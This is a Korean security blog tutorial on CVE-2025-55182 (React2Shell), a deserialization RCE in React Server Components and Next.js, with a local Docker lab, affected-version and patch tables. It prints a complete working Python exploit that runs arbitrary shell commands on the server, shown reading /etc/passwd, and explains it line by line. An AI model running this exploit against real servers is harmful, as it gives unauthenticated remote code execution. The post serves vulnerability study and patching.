정뾰안 - 정보보안 블로그
CVE-2025-55182 (React2Shell) 본문
CVE-2025-55182 요약
| 취약점 개요 | React Server Components(RSC) 기능과 연관된 치명적인 원격 코드 실행 취약점 |
| 취약점 내용 | light 프로토콜의 부적절한 역직렬화 처리로 인해 서버에서 인증되지 않은 원격 코드 실행 |
| 영향 | 로그인 등 인증 절차 없이 원격에서 임의 코드 실행 |
| 대응 방안 | 안전한 버전 사용 등 |
| CVSS | 10.0 |
| 공개일 | 2025년 12월 3일 |
1. CVE-2025-55182 취약점 설명
CVE-2025-55182는 React Server Components(RSC) 기능과 연관된 치명적인 원격 코드 실행 취약점이다. React Server Components(RSC)는 UI 렌더링을 위해 React 라이브러리에서 제공하는 서버 전용 기능으로, 서버 측에서 UI 컴포넌트를 렌더링하고 그 결과를 클라이언트로 전달하여 클라이언트에서 추가 렌더링 없이 화면에 표시할 수 있게 해주는 기능이다.
이 취약점은 React Server Components(RSC)가 클라이언트로부터 전달 받는 Flight 데이터를 서버에서 역직렬화(deserialize) 하는 과정에서 입력 검증이 충분히 이루어지지 않아 인증 절차 없이도 원격에서 임의 코드를 실행할 수 있는 취약점이며, CVSS 기준 최대 심각도인 10.0점이 부여되었다.
2. 실습
테스트 환경 및 공격 실습은 깃허브에 공개된 데이터를 사용하여 진행한다. 테스트 환경은 Docker 빌드가 필요하지 않은 것과 필요한 것 2가지를 각각 설명하고, 그 뒤에 공통적으로 공격 실습을 진행하려고 한다.
테스트 환경을 세팅하기 위해서는 PC에 Docker가 먼저 설치되어 있어야 한다. Docker 설치는 본 블로그의 'Docker Desktop 설치' 게시물을 확인하기 바라며, 본 게시물에서는 Docker 설치 과정은 생략하겠다.
Docker Desktop 설치
Docker Desktop 설치
Docker Desktop 설치 ◎ Docker 공식 홈페이지에 가서 설치파일을 다운로드 한다. (https://www.docker.com/)나는 'Download for Windows - AMD64'을 사용했다. Docker: Accelerated Container Application DevelopmentDocker is a platform de
yeongiee.tistory.com
◇ Docker 빌드 없이 환경 구성
◎ Docker를 실행한다.

◎ CVE 테스트 환경을 제공하는 깃허브 페이지를 확인한다. (https://github.com/l4rm4nd/CVE-2025-55182)
GitHub - l4rm4nd/CVE-2025-55182: Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation
Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation - l4rm4nd/CVE-2025-55182
github.com
◎ GitHub 컨테이너를 실행한다. GitHub 컨테이너 레지스트리에서 CVE-2025-55182 최신 이미지를 내려받아 실행하며, 컨테이너의 3000 포트를 내 PC(127.0.0.1)의 3000에 연결한다. --rm 옵션을 사용해 컨테이너 종료 시 자동으로 삭제되도록 한다.
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

◎ 브라우저에서 http://127.0.0.1:3000/로 접속한다.

◇ Docker 빌드하여 환경 구성
◎ CVE 테스트 환경을 제공하는 깃허브 페이지에 접속하여 Docker 이미지를 다운로드 받는다. (https://github.com/l4rm4nd/CVE-2025-55182)
GitHub - l4rm4nd/CVE-2025-55182: Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation
Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation - l4rm4nd/CVE-2025-55182
github.com

◎ 다운로드 받은 파일 압축 해제 후 경로를 확인한다.

◎ CMD 창을 열고 앞서 확인한 경로에서 도커 이미지를 빌드한다. docker build -t cve55182 .

◎ Docker를 실행해서 이미지가 정상적으로 추가됐는지 확인한다.

◎ 브라우저에서 접속할 수 있도록 컨테이너를 실행한다. docker run --rm -p 127.0.0.1:3000:3000 cve55182

◎ 브라우저에서 http://127.0.0.1:3000/로 접속한다.

◇ 공격 실습
◎ 공격 코드를 제공하는 깃허브 페이지에 접속하여 공격 코드를 다운로드한다. (https://github.com/dr4xp/react2shell)
GitHub - dr4xp/react2shell: A critical vulnerability in React Server Components affecting React 19 (CVE-2025-55182) and framewor
A critical vulnerability in React Server Components affecting React 19 (CVE-2025-55182) and frameworks that use it like Next.js (CVE-2025-66478). - GitHub - dr4xp/react2shell: A critical vulnerabi...
github.com

◎ 다운로드 받은 파일을 압축 해제해서 공격 코드 파일을 확인한다.

◎ exploit.py 전체 코드는 다음과 같다. 구조적으로 보면 전체 코드 흐름은 [공격 데이터 생성] → [서버 액션 포맷으로 포장] → [Next.js 요청으로 위장] → [POST 요청 전송] → [응답 수신] 순으로 흘러간다. (코드에 대한 세부적인 설명은 글 하단 참고)
import requests, json
url = 'http://127.0.0.1:3000/'
def payload(command):
pyl = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
return pyl
def craft_payload(payload):
return {
"0": (None, json.dumps(payload)),
"1": (None, '"$@0"'),
}
headers = {
'Next-Action': 'x'
}
try:
r = requests.post(url, files=craft_payload(payload('cat /etc/passwd')), headers=headers)
print(r.text)
except Exception as e:
print('[x] Error:', e)
◎ 코드 내 url 값은 공격 대상 서버 주소로, 앞서 세팅한 테스트 환경 주소(http://127.0.0.1:3000/)로 변경하여 사용한다.

◎ 공격 코드를 실행하면 공격 대상 서버의 중요파일 내용이 출력되는 것을 확인할 수 있다. py exploit.py

지금은 공격 코드에 /etc/passwd가 출력되도록 작성해서 해당 파일 내용이 출력되는 것이고, 코드 내 payload() 인자 값을 변경하면 원하는 명령을 실행할 수 있다.
영향 받는 버전 및 해결 버전
| 제품명 | 영향 받는 버전 | 해결 버전 |
| react-server-dom-webpack | 19.0 | 19.0.1 |
| 19.1.0 ~ 19.1.1 | 19.1.2 | |
| 19.2.0 | 19.2.1 | |
| react-server-dom-parcel | 19.0 | 19.0.1 |
| 19.1.0 ~ 19.1.1 | 19.1.2 | |
| 19.2.0 | 19.2.1 | |
| react-server-dom-turbopack | 19.0 | 19.0.1 |
| 19.1.0 ~ 19.1.1 | 19.1.2 | |
| 19.2.0 | 19.2.1 | |
| Next.js | 14.3.0-canary.77 이상 | 최신 안정 버전(14.x)으로 업그레이드 권고 |
| 15.0.x | 15.0.5 | |
| 15.1.x | 15.1.9 | |
| 15.2.x | 15.2.6 | |
| 15.3.x | 15.3.6 | |
| 15.4.x | 15.4.8 | |
| 15.5.x | 15.5.7 | |
| 16.0.x | 16.0.7 |
출처: kisa(https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71912&menuNo=205020)
React·Next.js 및 RSC 패키지 패치 방법
| 제품명 | 대응방안 |
| react-server-dom-webpack | ㆍ최신 버전으로 업그레이드 npm install react@latest react-dom@latest react-server-dom-webpack@latest |
| react-server-dom-parcel | ㆍ최신 버전으로 업그레이드 npm install react@latest react-dom@latest react-server-dom-parcel@latest |
| react-server-dom-turbopack | ㆍ최신 버전으로 업그레이드 npm install react@latest react-dom@latest react-server-dom-turbopack@latest |
| Next.js | ㆍ모든 사용자는 릴리스 라인의 최신 패치 버전으로 업그레이드 npm install next@15.0.5 # for 15.0.x npm install next@15.1.9 # for 15.1.x npm install next@15.2.6 # for 15.2.x npm install next@15.3.6 # for 15.3.x npm install next@15.4.8 # for 15.4.x npm install next@15.5.7 # for 15.5.x npm install next@16.0.7 # for 16.0.x npm install next@15.6.0-canary.58 # for 15.x canary releases npm install next@16.1.0-canary.12 # for 16.x canary releases ㆍNext.js 14.3.0-canary.77 또는 이후의 canary 릴리스를 사용하는 경우 최신 안정 버전인 14.x 릴리스로 다운그레이드 npm install next@14 |
| React Router | ㆍReact Router의 불안정한 RSC API를 사용하는 경우 다음 package.json 종속성이 있으면 업그레이드 npm install react@latest npm install react-dom@latest npm install react-server-dom-parcel@latest npm install react-server-dom-webpack@latest npm install @vitejs/plugin-rsc@latest |
| Redwood SDK | ㆍ최신 베타 버전 확인 npm install rwsdk@latest ㆍ최신 버전으로 업그레이드 npm install react@latest react-dom@latest react-server-dom-webpack@latest |
| Waku | ㆍ최신 버전으로 업그레이드 npm install react@latest react-dom@latest react-server-dom-webpack@latest waku@latest |
| @vitejs/plugin-rsc | ㆍ최신 RSC 플러그인으로 업그레이드 npm install react@latest react-dom@latest @vitejs/plugin-rsc@latest |
출처 : Next.js(https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
◇ 공격 코드 이해 - 참고용
공격 실습에 사용한 코드를 통해 취약점에 대한 공격 흐름을 이해해보려고 한다.
[전체 코드]
◎ 앞에서 설명한 바와 같이 전체 코드 흐름은 [공격 데이터 생성] → [서버 액션 포맷으로 포장] → [Next.js 요청으로 위장] → [POST 요청 전송] → [응답 수신] 순으로 흘러간다. 응답 수신 전까지 크게 4 부분으로 나눠서 설명하려고 한다.
import requests, json
url = 'http://127.0.0.1:3000/'
def payload(command):
pyl = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
return pyl
def craft_payload(payload):
return {
"0": (None, json.dumps(payload)),
"1": (None, '"$@0"'),
}
headers = {
'Next-Action': 'x'
}
try:
r = requests.post(url, files=craft_payload(payload('cat /etc/passwd')), headers=headers)
print(r.text)
except Exception as e:
print('[x] Error:', e)
◎ 우선 코드를 이해하기 위해 promise 객체에 대해 먼저 설명하겠다.
- Promise 객체
자바스크립트에서 비동기(asynchronous) 연산은 결과가 나중에 결정되는 작업을 말한다. 쉽게 말해 서버에서 데이터를 가져오거나 파일을 읽는 작업처럼 결과를 즉시 알 수 없는 작업을 의미한다. 이런 작업을 동기식으로 처리하면 자바스크립트가 한 번에 한 가지 일만 수행하는 특성 때문에 프로그램이 멈추게 된다. 그래서 비동기 처리가 필요해졌다.
비동기 처리는 작업이 끝날 때까지 기다리는 동안 다른 작업을 동시에 진행할 수 있도록 하는 방법이다. 초기에는 콜백 함수를 사용했는데 작업이 중첩될수록 코드가 복잡해지고 에러 처리도 어려워지는 문제가 있었다. 이 문제를 해결하기 위해 등장한 것이 promise이다.
promise는 미래에 완료되거나 실패할 수 있는 작업을 나타내는 객체이다. promise는 상태를 pending, fulfilled, rejected로 관리하며 성공 시 .then(), 실패 시 .catch()로 결과를 처리할 수 있기 때문에 비동기 작업을 체계적으로 관리할 수 있고 코드의 가독성과 안정성을 높일 수 있다. 또한 promise를 사용하면 여러 비동기 작업을 순차적으로 연결하거나 체이닝할 수 있고, async/await를 통해 마치 동기식 코드처럼 작성할 수도 있다. 그러나 내부적으로는 여전히 비동기 처리로 동작하며 결과가 나올 때까지 다른 코드가 멈추지 않고 실행될 수 있다.promise에는 규칙이 있는데 then이라는 메서드를 사용한다는 점이다. 그 점을 악용하면 then 메서드를 사용해서 실제 promise가 아니더라도 promise로 인식하게 만들 수 있고, 아래 코드도 그 부분을 이용한 것이다.
결론적으로, 자바스크립트에서 promise는 비동기 작업을 안정적이고 체계적으로 처리하기 위해 설계된 객체이다. - Next.js 같은 프레임워크에서는 Promise가 오면 resolve/reject를 기다리고 then 체인을 따라가고 결과를 직렬화하거나 에러 흐름으로 넘긴다. 즉 Next.js는 Promise를 내부 실행 흐름에 직접 연결된 객체라고 생각한다. 그래서 이 객체를 신뢰하고 처리한다.
[첫 번째 블럭]
import requests, json
url = 'http://127.0.0.1:3000/' #공격 대상 Next.js 서버 주소
def payload(command): #RCE 페이로드를 생성하는 함수
pyl = { #서버로 전송할 데이터 딕셔너리 시작
"then": "$1:__proto__:then", #서버가 JSON을 파싱할 때 proto 경로로 이동하도록 유도
"status": "resolved_model", #Next.js 서버가 작업 완료된 모델로 인식하게 함
"reason": -1, #성공/실패 상태를 조작하기 위한 필드
"value": '{"then": "$B0"}', #문자열 형태의 JSON으로, 비동기 처리 흐름을 왜곡하기 위한 값
"_response": { #여기부터
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": "$1:constructor:constructor",
},
}, #여기까지가 RCE 부분으로, 서버 응답 객체를 가장하는 내부 구조
} #서버에서 OS 명령(id, ls, uname -a 등) 실행하면
#결과를 digest 값에 담아 에러로 throw → HTTP 응답에 추가됨 → 공격자가 볼 수 있음
return pyl
◎ 위 코드는 서버가 내부 처리용 객체(Promise 신뢰 이용)로 착각할 만한 복잡한 딕셔너리를 만들어서 나중에 HTTP 요청으로 보내기 위한 준비를 하는 코드이다.
def payload(command) 이 함수는 command 인자를 통해 외부에서 전달받은 문자열을 미리 정의된 딕셔너리 구조 안에 넣어 그 딕셔너리를 반환하는 함수이다.
pyl={ 여기서부터 서버로 전송할 Python 딕셔너리를 정의한다.
"then": "$1:__proto__:then", 이 줄은 이 객체가 Promise처럼 보이게 만드는 핵심 포인트이다. 자바스크립트는 객체에 then이라는 속성이 있으면 그것을 일반 데이터가 아니라 Promise로 취급한다. 즉, '이건 그냥 값이 아니라 나중에 처리해야 할 비동기 결과다'라고 시스템을 속이기 위한 라인이다.
"status": "resolved_model", 이 줄은 이 객체가 이미 처리된 상태인 것처럼 보이게 만든다. Promise의 개념에서는 결과가 과정을 거쳐 결정되어야 하지만 여기서는 그 과정 없이 '이미 끝난 상태'라는 외형을 먼저 만들어낸다. 실제 이 한 줄로 Promise를 속여서 결과를 결정하는 건 말이 안된다. 그런데 여기서는 왜 사용했을까? 그건 바로 이 코드가 속이려는 대상이 자바스크립트 엔진이 아닌 상위 로직(프레임워크, 서버 로직)이기 때문이다. 간단하게 말하면 상위 로직은 Promise처럼 보이는 값이면 자바스크립트 엔진이 이미 안전하게 관리해 주고 있을 것이라고 암묵적으로 가정하고 신뢰해버린다.
"reason": -1, 이 값은 실패나 예외와 관련된 상태가 있는 것처럼 꾸미기 위한 장치다. 정상적인 Promise 흐름을 흉내 내어 시스템이 이 객체를 더 의심하지 않도록 만든다.
"value": '{"then": "$B0"}', 이 줄은 값 안에 또 다른 then 구조가 있는 것처럼 보이게 한다. 즉, 단순한 결과값이 아니라 계속 이어지는 비동기 처리 체인이 있는 것처럼 가장한다. 이는 Promise 체이닝에 대한 신뢰를 한 번 더 이용하는 부분이다.
"_response": { 여기부터는 겉보기에 내부 처리용 메타데이터처럼 보이도록 구성된 영역이다. 서버 내부의 응답 객체처럼 보이도록 만든 구조의 시작이다.
"_prefix": f"...", _prefix는 Next.js 서버 내부에서 응답(또는 에러)을 직렬화할 때 '앞에 덧붙일 처리용 문자열'로 쓰이는 내부 필드이다. 그래서 내부 로직이 만든 값만 들어가야 하고 외부 입력은 들어가면 안된다. 그런데 여기서는 then을 통해 서버가 Promise로 착각하게 만들었기 때문에 내부 전용 필드인 _prefix도 사용이 가능하고 신뢰하도록 만든 것이다. _prefix 값을 자세히 보겠다.
f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim();
이 코드는 현재 실행 중인 Node.js 프로그램에서 외부 프로그램 실행 기능을 가져와서 어떤 명령을 실행하고 제한 시간 동안 기다린 뒤 그 실행 결과를 문자열로 변경하고 앞뒤 공백을 제거해서 res에 저장하는 코드이다.
- f" Python에서 문자열 안에 변수 값을 넣기 위한 문법으로, {command} 자리에 함수 인자로 받은 문자열이 들어간다.
- var res = 작업(서버에서 외부 명령을 실행하고 그 실행 결과를 받아오는 작업)의 결과를 담을 변수
- process.mainModule.require('child_process') Node.js에서 외부 프로그램을 실행할 수 있는 기능을 불러온다.
- process Node.js 프로그램 자체
- .mainModule 현재 실행 중인 메인 모듈로, proccess.mainModule은 Node.js가 시작할 때 로드한 메인 모듈 의미
- .require('child_process') 외부 프로그램을 실행할 수 있는 기능을 가져온다.
º require() Node.js에서 기능(모듈)을 불러오는 함수
º child_process 외부 프로그램 실행 관련 기능을 제공하는 Node.js 기본 포함 모듈 - .execSync('{command}',{{'timeout':5000}}) 전달된 문자열(명령)을 실행하고 제한 시간 동안 기다린 뒤
그 실행 결과를 반환
- execSync() 외부 명령을 실행해서 끝날 때 까지 기다린 뒤 실행 결과를 바로 반환하는 함수(동기실행)
- {command} Python에서 전달된 문자열이 들어가는 자리로, 서버 입장에서는 이 문자열을 실행 대상으로 본다.
- {'timeout':5000} 최대 실행 시간 제한 - .toString() 문자열로 변경
- .trim() 앞뒤 공백 제거
throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", Next.js 서버 쪽에서는 에러 객체를 특별하게 처리한다. NEXT_REDIRECT 같은 특정 에러는 응답에 추가정보(digest)를 포함시킨다. 그래서 이 구조는 에러가 난 것처럼 보이게 하지만 그 에러 안에 의도한 명령의 결과가 보이도록 한 구조이다.
"_formData": { 이 부분은 서버가 FormData 객체처럼 처리하도록 속이기 위한 부분이다.
"get": "$1:constructor:constructor", 이 부분은 객체의 정상적인 사용 범위를 넘어서는 접근 경로를 암시한다. Promise나 thenable로 오해된 상태에서 이런 접근이 허용되면 데이터가 자신이 있어야 할 경계를 벗어나게 된다.
} 여기까지 해서 객체는 완성된다. 겉으로 보기엔 단순한 데이터 묶음처럼 보이지만 실제로는 Promise에 대한 신뢰를 전제로 실행 흐름을 건드릴 수 있는 구조가 된다.
return pyl 이 함수는 이 구조를 값으로 반환한다. 즉, 호출하는 쪽에서는 이것을 실행 코드가 아니라 결과 데이터로 받아들이게 된다.
[두 번째 블럭]
def craft_payload(payload):
return { #반환값은 딕셔너리 형식
"0": (None, json.dumps(payload)), #JSON 문자열 (여기에 exploit JSON이 들어감)
"1": (None, '"$@0"'), #특수 토큰
}
◎ 위 코드 부분은 Python 딕셔너리(JSON payload)를 multipart/form-data 구조로 변환(포장)하는 코드이다.
def craft_payload(payload) payload라는 인자를 받는 함수로, payload는 이미 만들어진 Python 딕셔너리(JSON 형태의 데이터)이다. 이 함수는 Python 딕셔너리 payload를 JSON 문자열로 만든 뒤 이를 두 개의 multipart/form-data 필드(0, 1)로 나누어 반환하는 함수이다.
return { 반환할 딕셔너리를 명시하려고 한다. 뒤 코드에 있는 requests.post(..., files=...) 코드 부분에서 이 딕셔너리를 받게 되고, 그 딕셔너리 구조가 multipart/form-data의 필드 이름/값 구조가 된다.
"0": (None, json.dumps(payload)), "0"은 multipart/form-data의 필드 이름이고 괄호의 첫번째 자리엔 None이 들어가있는데 이 자리는 파일명이 들어가는 자리이다. 이 자리에 None이 들어가면 파일명이 없다는 뜻이다. 그래서 파일 업로드가 아니라 일반 텍스트 필드로 처리되기 때문에 일반 데이터 전송으로 서버가 받아들인다. json.dumps(payload)은 Python 딕셔너리 payload를 JSON 문자열로 변환한 값이다. json.dumps() 함수는 Python 객체를 JSON 문자열로 바꿔주는 함수로, dumps는 dump string의 줄임말이다. 결과적으로 이 부분은 "0" 필드에 JSON 문자열 데이터를 넣는다는 것이다.
"1": (None, '"$@0"'), 이 부분도 바로 위의 코드와 동일하게 해석하면 된다. 두번째 자리에 들어간 "$@0"은 0이라는 이름을 가진 필드를 참조하라는 문자열이다. 즉, 이 필드는 바로 위 코드인 0번 필드의 데이터를 사용하라는 지시 역할이다.
} multipart/form-data 구조로 사용될 딕셔너리 명시가 끝났다. 이 반환값이 files= 인자로 전달되면서 실제 HTTP 요청은 multipart/form-data가 된다.
여기서 중요한 포인트는 "$@0" 이 부분이다. Next.js의 서버 액션/직렬화 로직은 indexed form parts를 특정 방식으로 참조한다. indexed form parts는 multipart/form-data 요청에서 0, 1, 2처럼 숫자 키로 이름 붙은 필드를 말한다. 특정 방식으로 참조한다는 말은 Next.js 서버가 "1": "$@0"처럼 참조 표시를 보면 “0번 필드의 데이터를 실행 입력으로 사용하라”라고 해석한다는 것이다. 그래서 서버는 0번 필트는 그냥 문자열로 읽지만 0번을 참조한 1번 필드는 단순 데이터로 읽지 않고 직렬화된 객체로 복원 후 실행 가능한 상태로 처리하게 된다. 따라서 내부 실행 가능한 객체가 되는 것이다.
[세 번째 블럭]
headers = {
'Next-Action': 'x' #Action 실행을 알리는 전용 헤더
}
◎ 이 부분은 요청이 그냥 POST가 아니라는 걸 서버에 알리기 위해 작성된 코드이다. 이 부분이 있어야 multipart/form-data의 각 파트를 서버 액션의 모델로 역직렬화하고, 역직렬화된 모델을 서버 코드에서 실행한다. Next-Action은 Next.js 내부에서 사용하는 특수 HTTP 헤더이다. 브라우저에서 Server Action을 호출할 때 Next.js가 자동으로 붙여서 보내는 헤더 중 하나인데, 서버 입장에서는 Next-Action 헤더가 있으면 "아, 이건 Server Action 요청이구나. 서버 액션 처리 로직으로 보내야겠다" 라고 생각한다. 참고로 값이 그냥 x인데, 값은 중요하지 않고 Next-Action 이라는 헤더가 존재하는지가 중요하다. 서버는 보통 값은 검증하지 않고 헤더 유무만 확인한다.
[네 번째 블럭]
try:
r = requests.post(url, files=craft_payload(payload('cat /etc/passwd')), headers=headers)
print(r.text)
except Exception as e: #오류 예외처리
print('[x] Error:', e)
◎ 이 부분은 POST 요청 실행 및 예외 처리 코드이다.
try: 이 안에서 에러 발생 시 아래 명시한 에러 처리 로직을 따르도록 하였다.
r = r은 서버가 보낸 응답 전체를 담은 객체이다. 예를 들면 r.header는 응답 헤더, r.text는 응답 본문 등으로 사용할 수 있다.
requests.post(url, files=craft_payload(payload('cat /etc/passwd')), headers=headers) 이 부분이 실제 HTTP POST 요청을 보내는 부분이다. requests.post()의 첫 번째 인자 url은 전체 코드 위쪽에 명시된 공격 대상이다. 그 다음 files 인자는 multipart/form-data를 의미하는데, 그 값으로 craft_payload(payload('cat /etc/passwd'))이 들어갔다. 위에서 정의한 payload() 함수에 실행하고자 하는 명령('cat /etc/passwd')을 인자로 넣었고, 그 값을 craft_payload() 함수에 넣어 multipart/form-data 구조로 변환한 것이다. 그 다음 headers 인자는 HTTP 헤더를 의미하고, 그 값으로 들어간 headers는 앞쪽 코드에서 정의한 Next-Action: x 가 들어있다.
이 데이터를 POST 요청으로 보내면 Next.js는 실행 결과(명령 결과)를 HTTP 응답에 digest 문자열로 포함하여 반환한다.
'CVE' 카테고리의 다른 글
| CVE-2024-36401(GeoServer RCE 취약점) (0) | 2026.01.15 |
|---|